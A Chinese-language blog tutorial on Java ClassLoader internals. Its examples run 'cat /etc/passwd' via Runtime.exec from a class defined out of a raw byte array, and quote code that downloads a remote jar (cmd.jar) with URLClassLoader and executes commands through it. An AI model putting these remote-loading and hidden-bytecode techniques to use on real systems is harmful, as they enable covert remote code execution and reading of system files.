@Author: Patrilic @Time: 2020-4-06 23:17:44
ClassLoader 顾名思义就是类的加载器,用来动态加载JavaClass到JVM中
简单来说,我们编写的.java文件经过javac编译后转换成java字节代码(.class)文件,而类加载器通过读取这个.class文件,转换成java.lang.Class的一个实例,用实例来表示一个java类。然后通过实例的newInstance()方法可以创建出该类的对象。
关于Java虚拟机这篇文章的学习,可以参考这篇文章:
https://www.artima.com/insidejvm/ed2/jvm.htmlJVM在Java程序开始执行时运行,结束时停止。每一个Java程序都拥有一个单独的JVM进程。
Java应用启动时,生成一个Runtime实例,当程序完成后,该实例死亡。 如果同时启动多个Java应用,那么就会产生同样数量的Runtime实例,互不干扰。 而拥有main函数的class将作为进程的起点
main函数作为初始线程起点,可以控制其他任意线程。JVM中的线程分为 守护线程 和 非守护线程
从上面的图可以看到,Class文件必须要经过 class loader subsystem 才能进入到runtime实例中
而这里的类加载子系统也称之为类加载器, 而系统提供的类加载器有以下三个:
java.lang.ClassLoader $JAVA_HOME/jre/lib/*.jar ClassLoader.getSystemClassLoader()
当然,我们也可以自定义一个ClassLoader,只需要继承 java.lang.ClassLoader
即可
JVM将类的加载分为三个步骤:Load, Link, Initialize
装载的过程就是查找和导入Class文件
负责找到二进制字节码并加载至JVM中,JVM通过类名、类所在的包名、ClassLoader完成类的加载。因此,标识一个被加载了的类:类名 + 包名 + ClassLoader实例ID。
分为验证, 准备, 解析三个步骤
初始化,为类的静态变量赋予正确的初始值,JVM负责对类进行初始化,主要对类变量进行初始化。在Java中对类变量进行初始值设定有两种方式:
类的初始化触发:
简单的理解: 就是一个类需要被加载时,类加载器总会把加载委派给父类去加载,一直递归到顶层,也就是说一直是从 Bootstrap ClassLoader
开始加载,当父类无法加载时,再从子类进行加载。
双亲委派模型的优点,在加载一些系统类时,比如 java.lang.Object
, 总会由 Bootstrap ClassLoader
去 %JAVA_HOME%/jre/lib/rt.jar
中寻找,保证了使用的Object是正确的,而不会被中间人修改。
关于SPI机制这里就不作赘述了,主要是因为BootStrap ClassLoader必须委托子类去加载提供的服务,例如JDBC的接口
而线程上下文类加载器就可以解决这个问题,具体方法提供在 java.lang.Thread
getContextClassLoader()
和 setContextClassLoader(ClassLoader cl)
用来获取和设置线程的上下文类加载器, 如果没有对线程上下文加载器进行set操作,会自动继承父类的线程上下文加载器
首先,Java类加载分为显式和隐式, 显式加载就是利用Java反射和ClassLoader直接对类进行加载,例如:
Class.forName("com.patrilic.ClassLoader.Test"); // 默认初始化类方法 this.getClass().getClassLoader().loadClass("com.patrilic.ClassLoader.Test"); // 不初始化类方法
而隐式加载就是调用 Class.Method
, 或者new一个新的实例时,也会对类进行加载
ClassLoader提供的一些与类加载相关的方法
方法 | 说明 |
---|---|
getParent() | 返回该类加载器的父类加载器。 |
loadClass(String name) | 加载名称为 name的类,返回的结果是 java.lang.Class类的实例。 |
findClass(String name) | 查找名称为 name的类,返回的结果是 java.lang.Class类的实例。 |
findLoadedClass(String name) | 查找名称为 name的已经被加载过的类,返回的结果是 java.lang.Class类的实例。 |
defineClass(String name, byte[] b, int off, int len) | 把字节数组 b中的内容转换成 Java 类,返回的结果是 java.lang.Class类的实例。这个方法被声明为 final的。 |
resolveClass(Class<?> c) | 链接指定的 Java 类。 |
//Test.java package com.patrilic.classLoader; import java.util.*; import java.io.*; import java.net.*; public class Test { public void RunShell() throws IOException { Process p = Runtime.getRuntime().exec("cat /etc/passwd"); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { System.out.println(disr); disr = dis.readLine(); } } }
// ClassLoaderTest.java package com.patrilic.ClassLoader; import java.lang.reflect.Method; public class ClassLoaderTest extends ClassLoader { private static String testClassName = "com.patrilic.classLoader.Test"; byte[] code = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 70, 10, 0, 13, 0, 30, 10, 0, 31, 0, 32, 8, 0, 33, 10, 0, 31, 0, 34, 10, 0, 35, 0, 36, 10, 0, 35, 0, 37, 7, 0, 38, 10, 0, 7, 0, 39, 10, 0, 7, 0, 40, 9, 0, 41, 0, 42, 10, 0, 43, 0, 44, 7, 0, 45, 7, 0, 46, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 8, 82, 117, 110, 83, 104, 101, 108, 108, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 45, 7, 0, 47, 7, 0, 48, 7, 0, 49, 7, 0, 38, 7, 0, 50, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 51, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 14, 0, 15, 7, 0, 52, 12, 0, 53, 0, 54, 1, 0, 15, 99, 97, 116, 32, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100, 12, 0, 55, 0, 56, 7, 0, 47, 12, 0, 57, 0, 58, 12, 0, 59, 0, 60, 1, 0, 23, 106, 97, 118, 97, 47, 105, 111, 47, 68, 97, 116, 97, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 12, 0, 14, 0, 61, 12, 0, 62, 0, 63, 7, 0, 64, 12, 0, 65, 0, 66, 7, 0, 67, 12, 0, 68, 0, 69, 1, 0, 29, 99, 111, 109, 47, 112, 97, 116, 114, 105, 108, 105, 99, 47, 99, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 15, 103, 101, 116, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 24, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 12, 0, 13, 0, 0, 0, 0, 0, 2, 0, 1, 0, 14, 0, 15, 0, 1, 0, 16, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 17, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 1, 0, 18, 0, 15, 0, 2, 0, 16, 0, 0, 0, -110, 0, 3, 0, 6, 0, 0, 0, 60, -72, 0, 2, 18, 3, -74, 0, 4, 76, 43, -74, 0, 5, 77, 43, -74, 0, 6, 78, -69, 0, 7, 89, 45, -73, 0, 8, 58, 4, 25, 4, -74, 0, 9, 58, 5, 25, 5, -58, 0, 21, -78, 0, 10, 25, 5, -74, 0, 11, 25, 4, -74, 0, 9, 58, 5, -89, -1, -20, -79, 0, 0, 0, 2, 0, 17, 0, 0, 0, 34, 0, 8, 0, 0, 0, 8, 0, 9, 0, 9, 0, 14, 0, 10, 0, 19, 0, 11, 0, 29, 0, 12, 0, 36, 0, 13, 0, 41, 0, 14, 0, 59, 0, 16, 0, 19, 0, 0, 0, 28, 0, 2, -1, 0, 36, 0, 6, 7, 0, 20, 7, 0, 21, 7, 0, 22, 7, 0, 23, 7, 0, 24, 7, 0, 25, 0, 0, 22, 0, 26, 0, 0, 0, 4, 0, 1, 0, 27, 0, 1, 0, 28, 0, 0, 0, 2, 0, 29}; @Override public Class<?> findClass(String name) throws ClassNotFoundException { if (name.equals(testClassName)) { // defineClass 将byteCode转换成类, 赋给testClassName return defineClass(testClassName, code, 0, code.length); } return super.findClass(name); } public static void main(String[] args) { // 实例化ClassLoader ClassLoaderTest loader = new ClassLoaderTest(); try { // 加载testClassName Class testClass = loader.loadClass(testClassName); // 创建testClassName类的实例 Object testInstance = testClass.newInstance(); // 反射获取RunShell方法 Method method = testInstance.getClass().getMethod("RunShell"); // 反射调用RunShell方法 String result = (String) method.invoke(testInstance); System.out.println(result); } catch (Exception e) { e.printStackTrace(); } } }
直接看园长的代码,URLClassLoader提供远程加载jar的能力
package com.patrilic.test; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLClassLoader; /** * Creator: yz * Date: 2019/12/18 */ public class TestURLClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL("https://javaweb.org/tools/cmd.jar"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = "cat /etc/passwd"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass("CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; // 读取命令执行结果 while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } } }